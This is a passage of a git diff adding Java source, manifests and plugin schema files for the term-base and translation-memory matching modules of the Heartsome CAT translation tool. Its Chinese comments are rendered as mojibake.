¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tb.match; + +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.cat.ts.tb.match.extension.ITbMatch; +import net.heartsome.cat.ts.tb.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æœ¯è¯­åŒ¹é… + * @author jason + * @version + * @since JDK1.6 + */ +public class TbMatcher { + private final Logger logger = LoggerFactory.getLogger(TbMatcher.class); + private final String TERMMATCH_EXTENSION_ID = "net.heartsome.cat.ts.tb.match.extension"; + private ITbMatch termMatch; + + public TbMatcher() { + runExtension(); + } + + public Vector> serachTransUnitTerms(String pureText, String srcLang, String tgtLang, boolean isSort) { + Vector> terms = new Vector>(); + if (termMatch != null && pureText != null) { + termMatch.setTuSrcPureText(pureText); + termMatch.setTuSrcLanguage(srcLang); + termMatch.setTuTgtlanguage(tgtLang); + termMatch.setIsSortResult(isSort); + terms.addAll(termMatch.getTransUnitTerms()); + } + + return terms; + } + + public void setCurrentProject(IProject project) { + if (termMatch != null) { + termMatch.setProject(project); + } + } + + /** + * 针对项目检查当å‰å¯¼å…¥å™¨æ˜¯å¦å¯ç”¨ï¼Œä¸»è¦åˆ¤æ–­æ˜¯å¦å­˜åœ¨æ•°æ®æ¨¡å—和当å‰é¡¹ç›®æ˜¯å¦è®¾ç½®äº†æœ¯è¯­åº“ + * @param project + * 当å‰é¡¹ç›® + * @return trueå¯ç”¨ï¼Œfalseä¸å¯ç”¨ + */ + public boolean checkTbMatcher(IProject project) { + if (termMatch == null) { + return false; + } + return termMatch.checkTbMatcher(project); + } + + /** + * 释放术语匹é…所需è¦çš„æ‰€æœ‰èµ„æº + * ; + */ + public void clearResources() { + if(termMatch != null){ + termMatch.clearResources(); + } + } + + /** + * 加载记忆库匹é…实现 ; + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor( + TERMMATCH_EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof ITbMatch) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("match.TbMatcher.logger1"), exception); + } + + public void run() throws Exception { + termMatch = (ITbMatch) o; + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("match.TbMatcher.logger1"), ex); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/extension/AbstractTbMatch.java b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/extension/AbstractTbMatch.java new file mode 100644 index 0000000..9cf2ecf --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/extension/AbstractTbMatch.java @@ -0,0 +1,65 @@ +/** + * AbstractTermMatch.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tb.match.extension; + +/** + * 术语匹é…抽象 + * @author jason + * @version + * @since JDK1.6 + */ +public abstract class AbstractTbMatch implements ITbMatch { + protected String srcPureText; + protected String srcLanguage; + protected String tgtLanguage; + protected boolean isSort; + + public AbstractTbMatch() { + srcPureText = ""; + srcLanguage = ""; + tgtLanguage = ""; + isSort = false; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ITbMatch.term.extensionpoint.ITermMatch#setTuSrcPureText(java.lang.String) + */ + public void setTuSrcPureText(String srcPureText) { + this.srcPureText = srcPureText; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ITbMatch.term.extensionpoint.ITermMatch#setTuSrcLanguage(java.lang.String) + */ + public void setTuSrcLanguage(String lang) { + this.srcLanguage = lang; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ITbMatch.term.extensionpoint.ITermMatch#setTuTgtlanguage(java.lang.String) + */ + public void setTuTgtlanguage(String lang) { + this.tgtLanguage = lang; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.tb.match.extension.ITbMatch#setIsSortResult(boolean) + */ + public void setIsSortResult(boolean isSort){ + this.isSort = isSort; + } +} diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/extension/ITbMatch.java b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/extension/ITbMatch.java new file mode 100644 index 0000000..2997745 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/match/extension/ITbMatch.java @@ -0,0 +1,73 @@ +/** + * ITermMatch.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tb.match.extension; + +import java.util.Hashtable; +import java.util.Vector; + +import org.eclipse.core.resources.IProject; + +/** + * æœ¯è¯­åŒ¹é… + * @author jason + * @version + * @since JDK1.6 + */ +public interface ITbMatch { + + /** + * 查找当å‰ç¿»è¯‘å•å…ƒçš„术语 + * @return ; + */ + Vector> getTransUnitTerms(); + + void clearResources(); + + /** + * 设置当å‰é¡¹ç›® + * @param project ; + */ + void setProject(IProject project); + + /** + * 针对当å‰é¡¹ç›®æ£€æŸ¥å½“å‰åŒ¹é…器是å¦å¯ç”¨ + * @param project + * 当å‰é¡¹ç›® + * @return ; + */ + boolean checkTbMatcher(IProject project); + + /** + * 设置TransUnitçš„æºæ–‡çº¯æ–‡æœ¬ + * @param srcPureText ; + */ + void setTuSrcPureText(String srcPureText); + + /** + * 设置TransUnitçš„æºè¯­è¨€ç¼–ç  + * @param lang 语言编ç ,如:en-Us; + */ + void setTuSrcLanguage(String lang); + + /** + * 设置TransUnitçš„ç›®æ ‡è¯­è¨€ç¼–ç  + * @param lang 语言编ç ,如:en-US; + */ + void setTuTgtlanguage(String lang); + + /** + * 是å¦æŽ’åºæŸ¥è¯¢æ˜¯ç»“æžœ + * @param isSort ; + */ + void setIsSortResult(boolean isSort); +} diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/Messages.java b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/Messages.java new file mode 100644 index 0000000..fe23326 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.tb.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.tb.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message.properties b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message.properties new file mode 100644 index 0000000..aeb26cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message.properties @@ -0,0 +1,3 @@ +importer.TbImporter.logger1 = [LOG] \u52a0\u8f7d\u672f\u8bed\u5e93\u5339\u914d\u5b9e\u73b0\u51fa\u9519 + +match.TbMatcher.logger1 = [LOG] \u52a0\u8f7d\u672f\u8bed\u5339\u914d\u7a0b\u5e8f\u51fa\u9519 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message_en.properties b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message_en.properties new file mode 100644 index 0000000..7e1a656 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message_en.properties @@ -0,0 +1,3 @@ +importer.TbImporter.logger1 = [LOG] \u52a0\u8f7d\u672f\u8bed\u5e93\u5339\u914d\u5b9e\u73b0\u51fa\u9519 + +match.TbMatcher.logger1 = [LOG] \u52a0\u8f7d\u672f\u8bed\u5339\u914d\u7a0b\u5e8f\u51fa\u9519 diff --git a/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message_zh.properties b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message_zh.properties new file mode 100644 index 0000000..aeb26cc --- /dev/null +++ b/ts/net.heartsome.cat.ts.tb/src/net/heartsome/cat/ts/tb/resource/message_zh.properties @@ -0,0 +1,3 @@ +importer.TbImporter.logger1 = [LOG] \u52a0\u8f7d\u672f\u8bed\u5e93\u5339\u914d\u5b9e\u73b0\u51fa\u9519 + +match.TbMatcher.logger1 = [LOG] \u52a0\u8f7d\u672f\u8bed\u5339\u914d\u7a0b\u5e8f\u51fa\u9519 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.tm/.classpath b/ts/net.heartsome.cat.ts.tm/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.tm/.project b/ts/net.heartsome.cat.ts.tm/.project new file mode 100644 index 0000000..526c82b --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.tm + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.tm/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.tm/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.tm/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.tm/META-INF/MANIFEST.MF new file mode 100644 index 0000000..5d9f83f --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/META-INF/MANIFEST.MF @@ -0,0 +1,20 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS TM +Bundle-SymbolicName: net.heartsome.cat.ts.tm;singleton:=true +Bundle-Version: 8.0.2.R8b_v20130402 +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Require-Bundle: net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.core.runtime;bundle-version="3.7.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.ts.core;bundle-version="1.0.0" +Export-Package: net.heartsome.cat.ts.tm.bean, + net.heartsome.cat.ts.tm.complexMatch, + net.heartsome.cat.ts.tm.importer, + net.heartsome.cat.ts.tm.importer.extension, + net.heartsome.cat.ts.tm.match, + net.heartsome.cat.ts.tm.match.extension, + net.heartsome.cat.ts.tm.simpleMatch +Bundle-Vendor: Heartsome Technologies Ltd. +Import-Package: net.heartsome.cat.common.bean, + net.heartsome.cat.common.core.exception diff --git a/ts/net.heartsome.cat.ts.tm/build.properties b/ts/net.heartsome.cat.ts.tm/build.properties new file mode 100644 index 0000000..3d95d6c --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/build.properties @@ -0,0 +1,7 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + schema/ diff --git a/ts/net.heartsome.cat.ts.tm/plugin.xml b/ts/net.heartsome.cat.ts.tm/plugin.xml new file mode 100644 index 0000000..3a80918 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/plugin.xml @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.complexmatch.extension.exsd b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.complexmatch.extension.exsd new file mode 100644 index 0000000..3c3bd75 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.complexmatch.extension.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.importer.extension.exsd b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.importer.extension.exsd new file mode 100644 index 0000000..cc85e20 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.importer.extension.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.match.extension.exsd b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.match.extension.exsd new file mode 100644 index 0000000..2a42644 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.match.extension.exsd @@ -0,0 +1,102 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.simplematch.extension.exsd b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.simplematch.extension.exsd new file mode 100644 index 0000000..133cbf8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/schema/net.heartsome.cat.ts.tm.simplematch.extension.exsd @@ -0,0 +1,109 @@ + + + + + + + + + [Enter description of this extension point.] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + [Enter the first release in which this extension point appears.] + + + + + + + + + [Enter extension point usage example here.] + + + + + + + + + [Enter API information here.] + + + + + + + + + [Enter information about supplied implementation of this extension point.] + + + + + diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/bean/TransUnitInfo2TranslationBean.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/bean/TransUnitInfo2TranslationBean.java new file mode 100644 index 0000000..7f700a9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/bean/TransUnitInfo2TranslationBean.java @@ -0,0 +1,134 @@ +/** + * TransUnitInfoBean.java + * + * Version information : + * + * Date:2012-4-27 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.bean; + +/** + * 翻译å•å…ƒä¿¡æ¯å°è£…,用于匹é…时所需翻译å•å…ƒä¿¡æ¯çš„å°è£… + * @author jason + * @version + * @since JDK1.5 + */ +public class TransUnitInfo2TranslationBean { + + private String srcFullText = ""; + + private String srcPureText = ""; + + // 翻译å•å…ƒæºæ–‡è¯­è¨€ä»£ç  + private String srcLanguage = ""; + + // 翻译å•å…ƒç›®æ ‡è¯­è¨€ä»£ç  + private String tgtLangugage = ""; + + // 上文 + private String preContext = ""; + + // 下文 + private String nextContext = ""; + + /** + * é‡ç½®å½“å‰ç¿»è¯‘å•å…ƒä¿¡æ¯ + * ; + */ + public void resetTuInfo(){ + srcFullText = ""; + srcPureText = ""; + // 翻译å•å…ƒæºæ–‡è¯­è¨€ä»£ç  + srcLanguage = ""; + // 翻译å•å…ƒç›®æ ‡è¯­è¨€ä»£ç  + tgtLangugage = ""; + // 上文 + preContext = ""; + // 下文 + nextContext = ""; + } + + /** @return the srcFullText */ + public String getSrcFullText() { + return srcFullText; + } + + /** + * @param srcFullText + * 翻译å•å…ƒå®Œæ•´çš„文本内容 + */ + public void setSrcFullText(String srcFullText) { + this.srcFullText = srcFullText; + } + + /** @return 翻译å•å…ƒæºæ–‡çº¯æ–‡æœ¬å†…容 */ + public String getSrcPureText() { + return srcPureText; + } + + /** + * @param srcPureText + * the srcPureText to set + */ + public void setSrcPureText(String srcPureText) { + this.srcPureText = srcPureText; + } + + /** @return the srcLanguage */ + public String getSrcLanguage() { + return srcLanguage; + } + + /** + * @param srcLanguage + * the srcLanguage to set + */ + public void setSrcLanguage(String srcLanguage) { + this.srcLanguage = srcLanguage; + } + + /** @return the tgtLangugage */ + public String getTgtLangugage() { + return tgtLangugage; + } + + /** + * @param tgtLangugage + * the tgtLangugage to set + */ + public void setTgtLangugage(String tgtLangugage) { + this.tgtLangugage = tgtLangugage; + } + + /** @return the preContext */ + public String getPreContext() { + return preContext; + } + + /** + * @param preContext + * the preContext to set + */ + public void setPreContext(String preContext) { + this.preContext = preContext; + } + + /** @return the nextContext */ + public String getNextContext() { + return nextContext; + } + + /** + * @param nextContext + * the nextContext to set + */ + public void setNextContext(String nextContext) { + this.nextContext = nextContext; + } + +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/complexMatch/ComplexMatcherFactory.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/complexMatch/ComplexMatcherFactory.java new file mode 100644 index 0000000..e71c320 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/complexMatch/ComplexMatcherFactory.java @@ -0,0 +1,84 @@ +/** + * ComplexMatcherFactory.java + * + * Version information : + * + * Date:2012-6-20 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.complexMatch; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.ts.tm.resource.Messages; + +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class ComplexMatcherFactory { + public static final Logger logger = LoggerFactory.getLogger(ComplexMatcherFactory.class); + private final String EXTENSION_ID = "net.heartsome.cat.ts.tm.complexmatch.extension"; + private List matchers; + + + private static ComplexMatcherFactory instance; + public static ComplexMatcherFactory getInstance() { + if (instance == null) { + instance = new ComplexMatcherFactory(); + } + return instance; + } + + + public List getCuurentMatcher(){ + return matchers; + } + + private ComplexMatcherFactory(){ + matchers = new ArrayList(); + runExtension(); + } + + /** + * load implement of complex matcher + */ + private void runExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor(EXTENSION_ID); + try { + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof IComplexMatch) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("complexMatch.ComplexMatcherFactory.logger1"), exception); + } + + public void run() throws Exception { + IComplexMatch simpleMatcher = (IComplexMatch) o; + matchers.add(simpleMatcher); + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("complexMatch.ComplexMatcherFactory.logger1"), ex); + } + } +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/complexMatch/IComplexMatch.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/complexMatch/IComplexMatch.java new file mode 100644 index 0000000..66805f7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/complexMatch/IComplexMatch.java @@ -0,0 +1,53 @@ +/** + * IComplexMatch.java + * + * Version information : + * + * Date:2012-6-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.complexMatch; + +import java.util.Vector; + +import org.eclipse.core.resources.IProject; + +import net.heartsome.cat.ts.core.bean.AltTransBean; +import net.heartsome.cat.ts.core.bean.TransUnitBean; + +/** + * å¤æ‚翻译,用于实现å„ç§ç¿»è¯‘相关的计算等,如快速翻译 + * @author jason + * @version + * @since JDK1.6 + */ +public interface IComplexMatch { + + /** + * 执行翻译 + * @return 返回翻译结果 ; + */ + Vector executeTranslation(TransUnitBean transUnitBean,IProject currentProject); + + /** + * 获å–当å‰åŒ¹é…器的toolId + * @return ; + */ + String getToolId(); + + /** + * 获å–匹é…的类型简称,如快速翻译QT + * @return ; + */ + String getMatcherType(); + + /** + * 获å–匹é…çš„æ¥æº + * @return ; + */ + String getMathcerOrigin(); +} diff --git a/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/importer/TmImporter.java b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/importer/TmImporter.java new file mode 100644 index 0000000..b4ca027 --- /dev/null +++ b/ts/net.heartsome.cat.ts.tm/src/net/heartsome/cat/ts/tm/importer/TmImporter.java @@ -0,0 +1,142 @@ +/** + * TmImporter.java + * + * Version information : + * + * Date:2012-5-4 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.tm.importer; + +import net.heartsome.cat.common.core.exception.ImportException; +import net.heartsome.cat.ts.tm.importer.extension.ITmImporter; +import net.heartsome.cat.ts.tm.resource.Messages; + +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * TMX导入器,用于导入符åˆTMX标准的字符串到当å‰é¡¹ç›®çš„默认记忆库中
    + * 此类的对象å¯ä»¥é‡ç”¨ï¼Œé‡ç”¨æ—¶éœ€è¦é‡æ–°è®¾ç½®å½“å‰é¡¹ç›®ä¿¡æ¯{@link #setProject(IProject)}
    + * 当确定此类的对象ä¸éœ€è¦å†ç”¨æ—¶ï¼Œéœ€è¦é‡Šæ”¾èµ„æº{@link #clearResources()}
    + * 释放的资æºåŒ…括项目记忆库的连接ã€å‚数获å–对象ã€é¡¹ç›®é…置的监å¬ç­‰ï¼Œå½“释放资æºåŽï¼Œæ­¤å¯¹è±¡çš„生命周期方å¯è§†ä¸ºç»“æŸ + * @author jason + * @version + * @since JDK1.6 + */ +public class TmImporter { + public static final Logger logger = LoggerFactory.getLogger(TmImporter.class); + + private final String TMIMPORTER_EXTENSION_ID = "net.heartsome.cat.ts.tm.importer.extension"; + + private ITmImporter tmImporter; + + private static TmImporter instance; + + public static TmImporter getInstance(){ + if(instance == null){ + instance = new TmImporter(); + } + return instance; + } + + /** + * 检查当å‰å¯¼å…¥å™¨æ˜¯å¦å¯ç”¨ + * @return true å¯ç”¨ï¼Œfalseä¸å¯ç”¨ + */ + public boolean checkImporter(){ + if(tmImporter != null && tmImporter.checkImporter()){ + return true; + } + return false; + } + + /** + * 构造器 + */ + private TmImporter() { + runExtension(); + } + 